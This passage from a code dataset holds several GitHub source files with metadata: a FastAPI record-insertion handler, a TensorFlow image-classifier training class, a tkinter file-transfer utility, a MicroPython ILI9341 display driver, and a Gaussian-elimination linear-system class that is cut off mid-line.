\"duplicate_records\": [], # Duplicate records in the input file.\n            \"schema_validations\": [], # Records which have schema issues.\n            \"metadata\": {\n                \"inserted_records\": 0 # No of records inserted to database.\n            }\n        }\n        \"\"\"\n        error_response = {\n            \"duplicate_records\": [],\n            \"schema_validations\": [],\n            \"metadata\": {\n                \"inserted_records\": 0\n            }\n        }\n        try:\n            filtered_records = {}\n\n            start_time = time.time()\n            for result in filedata:\n                self.validate_schema_and_deduplicate(dict(result), filtered_records, error_response)\n            log.info(f\"Schema validated and deduplicated records in {round(time.time()-start_time,2)}sec.\")\n\n            self.drop_already_existing_records(filtered_records, error_response)\n\n            if filtered_records:\n                start_time = time.time()\n                with self.session(bind=engine, expire_on_commit=False) as session:\n                    session.add_all(filtered_records.values())\n                    try:\n                        session.commit()\n                        error_response[\"metadata\"][\"inserted_records\"] = len(filtered_records)\n                    except Exception as err:\n                        log.error(f\"Exception occured: {err}\")\n                        raise HTTPException(\n                            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n                            detail=f\"Exception occured : {err}\",\n                        ) from err\n                log.info(f\"Inserted {len(filtered_records)} records in {round(time.time() - start_time, 2)}sec.\")\n\n        except Exception as err:\n            log.error(f\"Exception occured: {err}\")\n            raise HTTPException(\n                status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n                detail=f\"Exception occured : {err}\",\n            ) from err\n        return error_response\n","repo_name":"jrishabh731/FastAPI_BlueYonder","sub_path":"services/source/handlers/engine_inspection.py","file_name":"engine_inspection.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34460511879","text":"\n\"\"\" \nfrom cnnClassifier.entity.config_entity import TrainingConfig: Imports the TrainingConfig class from the cnnClassifier.entity.config_entity module.\n\nimport tensorflow as tf: Imports the TensorFlow library for deep learning.\n\nfrom pathlib import Path: Imports the Path class from the pathlib module for working with file paths.\n\nclass Training:: Defines a class called Training.\n\ndef __init__(self, config: TrainingConfig):: Defines the constructor method of Training that takes a config parameter of type TrainingConfig.\n\nself.config = config: Assigns the provided config parameter to the self.config attribute.\n\ndef get_base_model(self):: Defines a method called get_base_model.\n\nself.model = tf.keras.models.load_model(...: Loads a pre-trained model from the updated_base_model_path specified in the self.config attribute and assigns it to the self.model attribute.\n\ndef train_valid_generator(self):: Defines a method called train_valid_generator.\n15-16. Sets up keyword arguments (datagenerator_kwargs) for the data generators used for validation and training data.\n18-22. Sets up keyword arguments (dataflow_kwargs) for the data flow parameters used by the data generators.\n24-31. Creates an instance of tf.keras.preprocessing.image.ImageDataGenerator for the validation data, configures it with the datagenerator_kwargs, and generates a flow of data from the validation directory using the specified dataflow_kwargs.\n34-47. Creates an instance of tf.keras.preprocessing.image.ImageDataGenerator for the training data, configures it with the datagenerator_kwargs, and generates a flow of data from the training directory using the specified dataflow_kwargs. If params_is_augmentation is True, additional data augmentation parameters are applied.\n\n@staticmethod: Decorator indicating that the following method is a static method.\n\ndef save_model(path: Path, model: tf.keras.Model):: Defines a static method called save_model that takes a path parameter of type Path and a model parameter of type tf.keras.Model.\n\nmodel.save(path): Saves the provided model to the specified path.\n\ndef train(self, callback_list: list):: Defines a method called train that takes a callback_list parameter of type list.\n57-58. Calculates the number of steps per epoch and validation steps based on the number of samples and batch size of the training and validation generators.\n60-70. Trains the model using the fit method of self.model, providing the training and validation generators, number of epochs, steps per epoch, validation steps, validation data, and the list of callbacks.\n73-75. Saves the trained model to the specified trained_model_path in the self.config attribute using the save_model static method.\n\nIn summary, the code defines a class called Training that encapsulates the training process of a model. It provides methods to load a pre-trained model, set up data generators for training and validation data, train the model using the provided callbacks, and save the trained model to a specified path.\n\n\"\"\"\n\nfrom cnnClassifier.entity.config_entity import TrainingConfig\nimport tensorflow as tf\nfrom pathlib import Path\n\n\nclass Training:\n    def __init__(self, config: TrainingConfig):\n        self.config = config\n    \n    def get_base_model(self):\n        self.model = tf.keras.models.load_model(\n            self.config.updated_base_model_path\n        )\n    \n    def train_valid_generator(self):\n\n        datagenerator_kwargs = dict(\n            rescale = 1./255,\n            validation_split=0.20\n        )\n\n        dataflow_kwargs = dict(\n            target_size=self.config.params_image_size[:-1],\n            batch_size=self.config.params_batch_size,\n            interpolation=\"bilinear\"\n        )\n\n        valid_datagenerator = tf.keras.preprocessing.image.ImageDataGenerator(\n            **datagenerator_kwargs\n        )\n\n        self.valid_generator = valid_datagenerator.flow_from_directory(\n            directory=self.config.training_data,\n            subset=\"validation\",\n            shuffle=False,\n            **dataflow_kwargs\n        )\n\n        if self.config.params_is_augmentation:\n            train_datagenerator = tf.keras.preprocessing.image.ImageDataGenerator(\n                rotation_range=40,\n                horizontal_flip=True,\n                width_shift_range=0.2,\n                height_shift_range=0.2,\n                shear_range=0.2,\n                zoom_range=0.2,\n                **datagenerator_kwargs\n            )\n        else:\n            train_datagenerator = valid_datagenerator\n\n        self.train_generator = train_datagenerator.flow_from_directory(\n            directory=self.config.training_data,\n            subset=\"training\",\n            shuffle=True,\n            **dataflow_kwargs\n        )\n\n    @staticmethod\n    def save_model(path: Path, model: tf.keras.Model):\n        model.save(path)\n\n\n    def train(self, callback_list: list):\n        self.steps_per_epoch = self.train_generator.samples // self.train_generator.batch_size\n        self.validation_steps = self.valid_generator.samples // self.valid_generator.batch_size\n\n        self.model.fit(\n            self.train_generator,\n            epochs=self.config.params_epochs,\n            steps_per_epoch=self.steps_per_epoch,\n            validation_steps=self.validation_steps,\n            validation_data=self.valid_generator,\n            callbacks=callback_list\n        )\n\n        self.save_model(\n            path=self.config.trained_model_path,\n            model=self.model\n        )","repo_name":"nasserml/Chicken-Disease-Classification-Project","sub_path":"src/cnnClassifier/components/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":5498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35986027093","text":"import main\nimport sqlite3\nimport time\nimport os\nimport shutil\nimport tkinter\nfrom tkinter import *\nfrom tkinter import messagebox\n\n\ndef set_src(self):\n    print(\"Nothing here yet\")\n\n\ndef set_dst(self):\n    print('Nothing here yet')\n\n\ndef create_db():\n    conn = sqlite3.connect('db_file_transfer.db')\n    with conn:\n        cur = conn.cursor()\n        cur.execute('CREATE TABLE if not exists tbl_dir( \\\n                    ID INTEGER PRIMARY KEY AUTOINCREMENT,'\n                    'col_src_dir TEXT,'\n                    'col_dst_dir TEXT'\n                    ');')\n        # You must commit() to save changes and close the database connection\n        conn.commit()\n    conn.close()\n    first_run()\n\n\ndef first_run():\n    conn = sqlite3.connect('db_file_transfer.db')\n    with conn:\n        cur = conn.cursor()\n        cur, count = count_records(cur)\n        if count < 1:\n            cur.execute('''INSERT INTO tbl_dir (col_src_dir, col_dst_dir)\n                        VALUES (?, ?)''',\n                        ('C:\\\\Users\\\\benja\\\\Desktop\\\\CustomerSource', 'C:\\\\Users\\\\benja\\\\Desktop\\\\CustomerDestination'))\n    conn.close()\n\n\ndef count_records(cur):\n    count = \"\"\n    cur.execute(\"\"\"SELECT COUNT(*) FROM tbl_dir\"\"\")\n    count = cur.fetchone()[0]\n    return cur, count\n\n\ndef sourceDir(self):\n    selectSourceDir = tkinter.filedialog.askdirectory()\n    self.source_dir.delete(0, END)\n    self.source_dir.insert(0, selectSourceDir)\n\n\ndef destDir(self):\n    selectDestDir = tkinter.filedialog.askdirectory()\n    self.destination_dir.delete(0, END)\n    self.destination_dir.insert(0, selectDestDir)\n\n\ndef transferFiles(self):\n    # Get the current time\n    current_time = time.time()\n    # Define the threshold for \"recently modified\" (24 hours in seconds)\n    recently_modified_threshold = 24 * 60 * 60\n\n    source = self.source_dir.get()\n    destination = self.destination_dir.get()\n    for source_files in os.listdir(source):\n        file_path = os.path.join(source + '/', source_files)\n        if os.path.isfile(file_path) and (current_time - os.path.getmtime(file_path)) < recently_modified_threshold:\n            shutil.move(source + '/' + source_files, destination)\n            print(source_files + ' was successfully transferred')\n\n\ndef ask_quit(self):\n    if messagebox.askokcancel(\"Exit program\", \"Okay to exit application?\"):\n        # This closes the app\n        self.master.destroy()\n        os._exit(0)\n\n\nif __name__ == \"__main__\":\n    pass\n","repo_name":"GreystoneV/Python_Projects_TA","sub_path":"comb_file_transfer/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43799742724","text":"from time import sleep\n\nimport framebuf\nimport ustruct\nfrom ubinascii import hexlify\n\n\ndef color565(r, g, b):\n    \"\"\"Return RGB565 color value.\n\n    Args:\n        r (int): Red value.\n        g (int): Green value.\n        b (int): Blue value.\n    \"\"\"\n    return (r & 0xf8) << 8 | (g & 0xfc) << 3 | b >> 3\n\n\nclass Display(object):\n    \"\"\"IL9341 Display driver (serial interface).\n\n    Only supports 16-bit color (RGB565)\n    \"\"\"\n\n    # Command constants from ILI9341 datasheet\n    NOP = const(0x00)  # No-op\n    SWRESET = const(0x01)  # Software reset\n    RDDID = const(0x04)  # Read display ID info\n    RDDST = const(0x09)  # Read display status\n    SLPIN = const(0x10)  # Enter sleep mode\n    SLPOUT = const(0x11)  # Exit sleep mode\n    PTLON = const(0x12)  # Partial mode on\n    NORON = const(0x13)  # Normal display mode on\n    RDMODE = const(0x0A)  # Read display power mode\n    RDMADCTL = const(0x0B)  # Read display MADCTL\n    RDPIXFMT = const(0x0C)  # Read display pixel format\n    RDIMGFMT = const(0x0D)  # Read display image format\n    RDSIGMODE = const(0x0E)  # Read display signal mode\n    RDSELFDIAG = const(0x0F)  # Read display self-diagnostic\n    INVOFF = const(0x20)  # Display inversion off\n    INVON = const(0x21)  # Display inversion on\n    GAMMASET = const(0x26)  # Gamma set\n    DISPLAY_OFF = const(0x28)  # Display off\n    DISPLAY_ON = const(0x29)  # Display on\n    SET_COLUMN = const(0x2A)  # Column address set\n    SET_PAGE = const(0x2B)  # Page address set\n    WRITE_RAM = const(0x2C)  # Memory write\n    READ_RAM = const(0x2E)  # Memory read\n    PTLAR = const(0x30)  # Partial area\n    VSCRDEF = const(0x33)  # Vertical scrolling definition\n    MADCTL = const(0x36)  # Memory access control\n    VSCRSADD = const(0x37)  # Vertical scrolling start address\n    PIXFMT = const(0x3A)  # COLMOD: Pixel format set\n    WRITE_DISPLAY_BRIGHTNESS = const(0x51)  # Brightness hardware dependent!\n    READ_DISPLAY_BRIGHTNESS = const(0x52)\n    WRITE_CTRL_DISPLAY = const(0x53)\n    READ_CTRL_DISPLAY = const(0x54)\n    WRITE_CABC = const(0x55)  # Write Content Adaptive Brightness Control\n    READ_CABC = const(0x56)  # Read Content Adaptive Brightness Control\n    WRITE_CABC_MINIMUM = const(0x5E)  # Write CABC Minimum Brightness\n    READ_CABC_MINIMUM = const(0x5F)  # Read CABC Minimum Brightness\n    FRMCTR1 = const(0xB1)  # Frame rate control (In normal mode/full colors)\n    FRMCTR2 = const(0xB2)  # Frame rate control (In idle mode/8 colors)\n    FRMCTR3 = const(0xB3)  # Frame rate control (In partial mode/full colors)\n    INVCTR = const(0xB4)  # Display inversion control\n    DFUNCTR = const(0xB6)  # Display function control\n    PWCTR1 = const(0xC0)  # Power control 1\n    PWCTR2 = const(0xC1)  # Power control 2\n    PWCTRA = const(0xCB)  # Power control A\n    PWCTRB = const(0xCF)  # Power control B\n    VMCTR1 = const(0xC5)  # VCOM control 1\n    VMCTR2 = const(0xC7)  # VCOM control 2\n    RDID1 = const(0xDA)  # Read ID 1\n    RDID2 = const(0xDB)  # Read ID 2\n    RDID3 = const(0xDC)  # Read ID 3\n    RDID4 = const(0xD3)  # Read ID 4\n    GMCTRP1 = const(0xE0)  # Positive gamma correction\n    GMCTRN1 = const(0xE1)  # Negative gamma correction\n    DTCA = const(0xE8)  # Driver timing control A\n    DTCB = const(0xEA)  # Driver timing control B\n    POSC = const(0xED)  # Power on sequence control\n    ENABLE3G = const(0xF2)  # Enable 3 gamma control\n    PUMPRC = const(0xF7)  # Pump ratio control\n\n    ROTATE = {\n        0: 0x48,\n        90: 0x28,\n        180: 0x88,\n        270: 0xE8\n    }\n\n    def __init__(self, spi, pwm, cs, dc, width=240, height=320, rotation=0):\n        \"\"\"Initialize IL9341 Display.\n\n        Args:\n            spi (Class Spi):  SPI interface for OLED\n            pwm (Class PWM):  PWM for controlling the backlight\n            cs (Class Pin):  Chip select pin\n            dc (Class Pin):  Data/Command pin\n            width (Optional int): Screen width (default 240)\n            height (Optional int): Screen height (default 320)\n            rotation (Optional int): Rotation must be 0 (default), 90, 180 or 270\n        \"\"\"\n        self.spi = spi\n        self.pwm = pwm\n        self.cs = cs\n        self.dc = dc\n        self.width = width\n        self.height = height\n        self.scroll_pos = 0\n        self.rotation = rotation\n        if rotation not in self.ROTATE.keys():\n            raise ValueError('Rotation must be 0, 90, 180 or 270.')\n\n        # Initialize GPIO pins\n        self.pwm.freq(500)\n        self.pwm.duty_u16(16384)\n        self.cs.init(self.cs.OUT, value=1)\n        self.dc.init(self.dc.OUT, value=0)\n\n        # Send initialization commands\n        self.write_cmd(self.SWRESET)  # Software reset\n        sleep(.1)\n        self.write_cmd(self.PWCTRB, 0x00, 0xC1, 0x30)  # Pwr ctrl B\n        self.write_cmd(self.POSC, 0x64, 0x03, 0x12, 0x81)  # Pwr on seq. ctrl\n        self.write_cmd(self.DTCA, 0x85, 0x00, 0x78)  # Driver timing ctrl A\n        self.write_cmd(self.PWCTRA, 0x39, 0x2C, 0x00, 0x34, 0x02)  # Pwr ctrl A\n        self.write_cmd(self.PUMPRC, 0x20)  # Pump ratio control\n        self.write_cmd(self.DTCB, 0x00, 0x00)  # Driver timing ctrl B\n        self.write_cmd(self.PWCTR1, 0x23)  # Pwr ctrl 1\n        self.write_cmd(self.PWCTR2, 0x10)  # Pwr ctrl 2\n        self.write_cmd(self.VMCTR1, 0x3E, 0x28)  # VCOM ctrl 1\n        self.write_cmd(self.VMCTR2, 0x86)  # VCOM ctrl 2\n        self.write_cmd(self.MADCTL, self.ROTATE[rotation])  # Memory access ctrl\n        self.write_cmd(self.VSCRDEF, *ustruct.pack('>HHH', 0, self.height, 0))  # Vertical scrolling definition\n        self.write_cmd(self.VSCRSADD, 0x00, 0x00)  # Vertical scrolling start address\n        self.write_cmd(self.PIXFMT, 0x55)  # COLMOD: Pixel format\n        self.write_cmd(self.FRMCTR1, 0x00, 0x18)  # Frame rate ctrl\n        self.write_cmd(self.DFUNCTR, 0x08, 0x82, 0x27)\n        self.write_cmd(self.ENABLE3G, 0x00)  # Enable 3 gamma ctrl\n        self.write_cmd(self.GAMMASET, 0x01)  # Gamma curve selected\n        self.write_cmd(self.GMCTRP1,\n                       0x0F, 0x31, 0x2B, 0x0C, 0x0E, 0x08, 0x4E,\n                       0xF1, 0x37, 0x07, 0x10, 0x03, 0x0E, 0x09, 0x00)\n        self.write_cmd(self.GMCTRN1,\n                       0x00, 0x0E, 0x14, 0x03, 0x11, 0x07, 0x31,\n                       0xC1, 0x48, 0x08, 0x0F, 0x0C, 0x31, 0x36, 0x0F)\n        self.write_cmd(self.SLPOUT)  # Exit sleep\n        sleep(.1)\n        self.write_cmd(self.DISPLAY_ON)  # Display on\n        sleep(.1)\n        self.fill(0)\n\n    def cleanup(self):\n        \"\"\"Clean up resources.\"\"\"\n        self.set_brightness(0)\n        self.fill(0)\n        self.pwm.deinit()\n        self.display_off()\n        self.spi.deinit()\n        print('display off')\n\n    def display_off(self):\n        \"\"\"Turn display off.\"\"\"\n        self.write_cmd(self.DISPLAY_OFF)\n\n    def display_on(self):\n        \"\"\"Turn display on.\"\"\"\n        self.write_cmd(self.DISPLAY_ON)\n\n    def fill(self, c):\n        \"\"\"Fill display with the specified color.\"\"\"\n        self.fill_rect(0, 0, self.width, self.height, c)\n\n    def pixel(self, x, y, c=None):\n        \"\"\"Draw a single pixel with the specified color or return pixel color if c is not provided.\"\"\"\n        if c:\n            self.draw_chunk(c.to_bytes(2, 'big'), x, y, x, y)\n        else:\n            return 1  # TODO\n\n    def hline(self, x, y, w, c):\n        \"\"\"Draw a horizontal line.\"\"\"\n        self.draw_chunk(c.to_bytes(2, 'big') * w, x, y, x+w-1, y)\n\n    def vline(self, x, y, h, c):\n        \"\"\"Draw a vertical line.\"\"\"\n        self.draw_chunk(c.to_bytes(2, 'big') * h, x, y, x, y+h-1)\n\n    def line(self, x1, y1, x2, y2, c):\n        \"\"\"Draw a line.\"\"\"\n        # Check for horizontal line\n        if y1 == y2:\n            if x1 > x2:\n                x1, x2 = x2, x1\n            self.hline(x1, y1, x2 - x1 + 1, c)\n            return\n        # Check for vertical line\n        if x1 == x2:\n            if y1 > y2:\n                y1, y2 = y2, y1\n            self.vline(x1, y1, y2 - y1 + 1, c)\n            return\n        # Changes in x, y\n        dx = x2 - x1\n        dy = y2 - y1\n        # Determine how steep the line is\n        is_steep = abs(dy) > abs(dx)\n        # Rotate line\n        if is_steep:\n            x1, y1 = y1, x1\n            x2, y2 = y2, x2\n        # Swap start and end points if necessary\n        if x1 > x2:\n            x1, x2 = x2, x1\n            y1, y2 = y2, y1\n        # Recalculate differentials\n        dx = x2 - x1\n        dy = y2 - y1\n        # Calculate error\n        error = dx >> 1\n        ystep = 1 if y1 < y2 else -1\n        y = y1\n        for x in range(x1, x2 + 1):\n            # Had to reverse HW ????\n            if not is_steep:\n                self.pixel(x, y, c)\n            else:\n                self.pixel(y, x, c)\n            error -= abs(dy)\n            if error < 0:\n                y += ystep\n                error += dx\n\n    def rect(self, x, y, w, h, c):\n        \"\"\"Draw a rectangle.\"\"\"\n        x2 = x + w - 1\n        y2 = y + h - 1\n        self.hline(x, y, w, c)\n        self.hline(x, y2, w, c)\n        self.vline(x, y, h, c)\n        self.vline(x2, y, h, c)\n\n    def fill_rect(self, x, y, w, h, c):\n        \"\"\"Draw a filled rectangle.\"\"\"\n        chunk_height = 4  # rows of chunk buffer\n        chunk_count, remainder = divmod(h, chunk_height)\n        chunk = c.to_bytes(2, 'big') * chunk_height * w\n\n        for c in range(0, chunk_count):\n            self.draw_chunk(chunk, x, y, x+w-1, y+chunk_height-1)\n            y += chunk_height\n\n        if remainder:\n            chunk = c.to_bytes(2, 'big') * remainder * w\n            self.draw_chunk(chunk, x, y, x+w-1, y+remainder-1)\n\n    def blit(self, fbuf, x, y, key=-1, palette=framebuf.RGB565):\n        \"\"\"Draw the contents of a framebuffer at the given coordinates.\"\"\"\n        if palette != framebuf.RGB565:\n            raise NotImplementedError(f'Palette {palette} not yet supported.')\n\n        self.draw_chunk(fbuf.buffer, x, y, x+fbuf.width-1, y+fbuf.height-1)\n\n    def draw_chunk(self, data, x1, y1, x2, y2, key=-1):\n        \"\"\"Write a chunk of data to display.\n            TODO: transparency with key\n        \"\"\"\n        w = x2 - x1 + 1\n        h = y2 - y1 + 1\n\n        # check if coordinates extend past display boundaries\n        # (ignore y because autoscrolling)\n        if x1 < 0:\n            #print(f'x-coordinate: {x1} below minimum of 0.')\n            return True\n        if y1 < 0:\n            #print(f'y-coordinate: {y1} below minimum of 0.')\n            return True\n        if x2 >= self.width:\n            #print(f'x-coordinate: {x2} above maximum of {self.width-1}.')\n            return True\n        if self.scroll_pos - y1 >= self.height:\n            print(f'ignoring chunk, y1 is on previous page ({self.scroll_pos}-{y1} >= {self.height})')\n            return\n        if h >= self.height:\n            print(f'chunk too big to fit on display ({y2}-{y1} >= {self.height})')\n            return\n\n        #\n        # auto-scrolling (only works for rotation=0)\n        # I would advise not to change this since in the end this was all just trial-and-error :D\n        #\n        data_idx = 0\n        if self.rotation == 0:\n            if y2 - self.height >= self.scroll_pos:\n                ystep = (y2 - self.scroll_pos + 1) % self.height\n                self.scroll(0, ystep)\n            # clamp to frame memory\n            y1 %= self.height\n            y2 %= self.height\n            # might need to split data in memory buffer\n            if y1 > y2:\n                remainder = self.height - y1\n                data_idx = remainder*w*2\n                self.write_ram(data[:data_idx], x1, y1, x2, self.height-1)\n                y1 = 0\n\n        if data_idx > 0:\n            data = data[data_idx:]\n        self.write_ram(data, x1, y1, x2, y2)\n\n    def scroll(self, xstep=None, ystep=None):\n        \"\"\"Shift the contents of the framebuffer by the given vector\n           or return the current shift-vector if xstep and ystep are not provided.\n        .\"\"\"\n        if xstep and self.rotation == 90:\n            self.scroll_abs(self.scroll_pos + xstep, 0)\n        elif ystep:\n            self.scroll_abs(0, self.scroll_pos + ystep)\n        else:\n            if self.rotation == 90:\n                return (self.scroll_pos, 0)\n            else:\n                return (0, self.scroll_pos)\n\n    def scroll_abs(self, xstep, ystep):\n        \"\"\"Set the shift of the contents of the framebuffer to the given vector.\"\"\"\n        if (xstep and self.rotation != 90) or (ystep and self.rotation != 0):\n            raise ValueError(f'scroll(xstep={xstep},ystep={ystep}) not supported for rotation={self.rotation}')\n\n        self.scroll_pos = max(xstep, ystep)\n        self.write_cmd(self.VSCRSADD, *ustruct.pack('>H', self.scroll_pos % self.height))\n\n    def set_scroll_margins(self, top, bottom):\n        \"\"\"Set the height of the top and bottom scroll margins.\"\"\"\n        if top + bottom <= self.height:\n            middle = self.height - (top + bottom)\n            print(f'scroll_margins: top={top}, middle={middle}, bottom={bottom}')\n            self.write_cmd(self.VSCRDEF, *ustruct.pack('>HHH', top, middle, bottom))\n\n    def get_info(self):\n        \"\"\"Get device information.\"\"\"\n        info = []\n        info.append(f'ID: {hexlify(self.read_cmd(self.RDDID, 3))}')\n        info.append(f'ID4: {hexlify(self.read_cmd(self.RDID4, 3))}')\n        info.append(f'Status: {hexlify(self.read_cmd(self.RDDST, 4))}')\n        info.append(f'Power Mode: {hexlify(self.read_cmd(self.RDMODE, 1))}')\n        info.append(f'MADCTL: {hexlify(self.read_cmd(self.RDMADCTL, 1))}')\n        info.append(f'Pixel format: {hexlify(self.read_cmd(self.RDPIXFMT, 1))}')\n        info.append(f'Image format: {hexlify(self.read_cmd(self.RDIMGFMT, 1))}')\n        info.append(f'Signal mode: {hexlify(self.read_cmd(self.RDSIGMODE, 1))}')\n        info.append(f'Self-diagnostic: {hexlify(self.read_cmd(self.RDSELFDIAG, 1))}')\n        return '\\n'.join(info)\n\n    def set_brightness(self, brightness):\n        \"\"\"Set backlight intensity.\n\n        Args:\n            brightness (int): Brightness between 0 and 0xFFFF.\n        \"\"\"\n        self.pwm.duty_u16(brightness)\n\n    def write_ram(self, data, x1, y1, x2, y2):\n        \"\"\"Write data to ram at column/page area defined by x/y coords.\"\"\"\n        self.write_cmd(self.SET_COLUMN, *ustruct.pack('>HH', x1, x2))\n        self.write_cmd(self.SET_PAGE, *ustruct.pack('>HH', y1, y2))\n        self.write_cmd(self.WRITE_RAM)\n        self.write_data(data)\n\n    def read_cmd(self, command, num_bytes):\n        \"\"\"Write command to OLED and read response.\n\n        Args:\n            command (byte): ILI9341 command code.\n            num_bytes (int): Number of bytes to read.\n        \"\"\"\n        self.dc(0)\n        self.cs(0)\n        buffer = bytearray(2 + num_bytes)\n        buffer[0] = command\n        self.spi.write_readinto(buffer, buffer)\n        self.cs(1)\n        return self._discard_bits(buffer[1:], 1)[:-1]\n\n    def write_cmd(self, command, *args):\n        \"\"\"Write command to OLED.\n\n        Args:\n            command (byte): ILI9341 command code.\n            *args (optional bytes): Data to transmit.\n        \"\"\"\n        self.dc(0)\n        self.cs(0)\n        self.spi.write(bytearray([command]))\n        self.cs(1)\n        # handle any passed data\n        if len(args) > 0:\n            self.write_data(bytearray(args))\n\n    def write_data(self, data):\n        \"\"\"Write data to OLED.\"\"\"\n        self.dc(1)\n        self.cs(0)\n        self.spi.write(data)\n        self.cs(1)\n\n    def _discard_bits(self, data, num_bits):\n        \"\"\"Discard the first num_bits bits and shift the rest accordingly.\"\"\"\n        for idx in range(len(data)):\n            data[idx] = data[idx] << num_bits\n            if idx + 1 < len(data):\n                data[idx] |= data[idx + 1] >> (8 - num_bits)\n        return data\n","repo_name":"ChrisDeadman/ili9341-driver-micropython","sub_path":"src/drivers/ili9341.py","file_name":"ili9341.py","file_ext":"py","file_size_in_byte":15754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9757052971","text":"from decimal import Decimal, getcontext\nfrom copy import deepcopy\n\nfrom vector import Vector\nfrom plane import Plane\nfrom hyperplane import Hyperplane\n\ngetcontext().prec = 30\n\nclass LinearSystem(object):\n\n    ALL_PLANES_MUST_BE_IN_SAME_DIM_MSG = 'All planes in the system should live in the same dimension'\n    NO_SOLUTIONS_MSG = 'No solutions'\n    INF_SOLUTIONS_MSG = 'Infinitely many solutions'\n\n    def __init__(self, planes):\n        try:\n            d = planes[0].dimension\n            for p in planes:\n                assert p.dimension == d\n\n            self.planes = planes\n            self.dimension = d\n\n        except AssertionError:\n            raise Exception(self.ALL_PLANES_MUST_BE_IN_SAME_DIM_MSG)\n\n    def compute_triangular_form(self):\n        system = deepcopy(self)\n\n        num_equations = len(system)\n        num_variables = system.dimension # n is number of variables\n\n        j = 0 # variable index\n        for i in range(num_equations):\n            while j < num_variables:\n                c = MyDecimal(system[i].normal_vector[j])\n                if c.is_near_zero():\n                    swap_succeeded = system.swap_with_row_below_for_nonzero_coefficient_if_able(i, j)\n                    if not swap_succeeded:\n                        j += 1\n                        continue\n                system.clear_coefficients_below(i, j)\n                j += 1\n                break\n        return system\n\n    def swap_with_row_below_for_nonzero_coefficient_if_able(self, row, col):\n        num_equations = len(self)\n\n        for k in range(row+1, num_equations):\n            coefficient = MyDecimal(self[k].normal_vector[col])\n            if not coefficient.is_near_zero():\n                self.swap_rows(row, k)\n                return True\n\n        return False\n\n    # clear coefficients below given row, col\n    def clear_coefficients_below(self, row, col):\n        num_equations = len(self)\n        beta = MyDecimal(self[row].normal_vector[col])\n\n        for k in range(row+1, num_equations):\n            n = self[k].normal_vector\n            gamma = n[col]\n            alpha = -gamma/beta\n            self.add_multiple_times_row_to_row(alpha, row, k)\n\n    def swap_rows(self, row1, row2): # simple swap, hopefully default python = operator does simple memberwise copy\n        temp = self.planes[row1]\n        self.planes[row1] = self.planes[row2]\n        self.planes[row2] = temp\n\n    # mulitply specified row(index) by coefficient and save result to specified row\n    # row: index of row to process\n    # coefficient: multiply this value by both sides of equation (all terms and constant) and store in specified row\n    def multiply_coefficient_and_row(self, coefficient, row):\n        n = self[row].normal_vector\n        k = self[row].constant_term\n\n        new_normal_vector = n.times_scalar(coefficient)\n        new_constant_term = k * coefficient\n        self[row] = Plane(normal_vector=new_normal_vector,\n                          constant_term=new_constant_term)\n\n    # row_to_... are indices\n    # add row_to_add * coefficient to row_to_be_added_to\n    def add_multiple_times_row_to_row(self, coefficient, row_to_add, row_to_be_added_to):\n        # [row_to_be_added_to] = [row_to_be_added_to] + [row_to_add] * coefficient\n        n1 = self[row_to_add].normal_vector\n        n2 = self[row_to_be_added_to].normal_vector\n        k1 = self[row_to_add].constant_term\n        k2 = self[row_to_be_added_to].constant_term\n\n        new_normal_vector = n1.times_scalar(coefficient).plus(n2)\n        new_constant_term = (k1 * coefficient) + k2\n\n        self[row_to_be_added_to] = Plane(normal_vector=new_normal_vector,\n                                         constant_term=new_constant_term)\n\n    def indices_of_first_nonzero_terms_in_each_row(self):\n        num_equations = len(self)\n        num_variables = self.dimension\n\n        indices = [-1] * num_equations\n\n        for i, p in enumerate(self.planes):\n            try:\n                indices[i] = p.first_nonzero_index(p.normal_vector)\n            except Exception as e:\n                if str(e) == Plane.NO_NONZERO_ELTS_FOUND_MSG:\n                    continue\n                else:\n                    raise e\n\n        return indices\n\n    def scale_row_to_make_coefficient_equal_one(self, row, col):\n        n = self[row].normal_vector\n        beta = Decimal(Decimal('1.0') / n[col])\n        self.multiply_coefficient_and_row(beta, row)\n\n    def clear_coefficients_above(self, row, col):\n        for k in range(row)[::-1]:\n            n = self[k].normal_vector\n            alpha = -(n[col])\n            self.add_multiple_times_row_to_row(alpha, row, k)\n\n    # compute reduced row eschelon form\n    def compute_rref(self):\n        tf = self.compute_triangular_form()\n\n        num_equations = len(tf)\n        pivot_indices = tf.indices_of_first_nonzero_terms_in_each_row()\n\n        for i in range(num_equations)[::-1]:\n            j = pivot_indices[i]\n            if j < 0:\n                continue\n            tf.scale_row_to_make_coefficient_equal_one(i, j)\n            tf.clear_coefficients_above(i, j)\n\n        return tf\n\n    # given a system, compute its rref and:\n    # output a unique solution, or indicate there is no solution or infinite solutions\n    def compute_solution(self):\n        try:\n            return self.do_gaussian_elimination_and_parametrize_solution()\n        except Exception as e:\n            if (str(e) == self.NO_SOLUTIONS_MSG or\n            str(e) == self.INF_SOLUTIONS_MSG):\n                return str(e)\n            else:\n                raise e\n\n    def extract_direction_vectors_for_parametrization(self):\n        num_variables = self.dimension\n        pivot_indices = self.indices_of_first_nonzero_terms_in_each_row()\n        free_variable_indices = set(range(num_variables))-set(pivot_indices)\n\n        direction_vectors = []\n\n        for free_var in free_variable_indices:\n            vector_coords = [0] * num_variables\n            vector_coords[free_var] = 1\n            for i, p in enumerate(self.planes):\n                pivot_var = pivot_indices[i]\n                if pivot_var < 0:\n                    break\n                vector_coords[pivot_var] = -p.normal_vector[free_var]\n            direction_vectors.append(Vector(vector_coords))\n\n        return direction_vectors\n\n    def extract_basepoint_for_parametrization(self):\n        num_varibles = self.dimension\n        pivot_indices = self.indices_of_first_nonzero_terms_in_each_row()\n\n        basepoint_coords = [0] * num_varibles\n\n        for i,p in enumerate(self.planes):\n            pivot_var = pivot_indices[i]\n            if pivot_var < 0:\n                break\n            basepoint_coords[pivot_var] = p.constant_term\n\n        return Vector(basepoint_coords)\n\n    def do_gaussian_elimination_and_parametrize_solution(self):\n        rref = self.compute_rref()\n\n        rref.raise_exception_if_contradictory_equation()\n\n        direction_vectors = 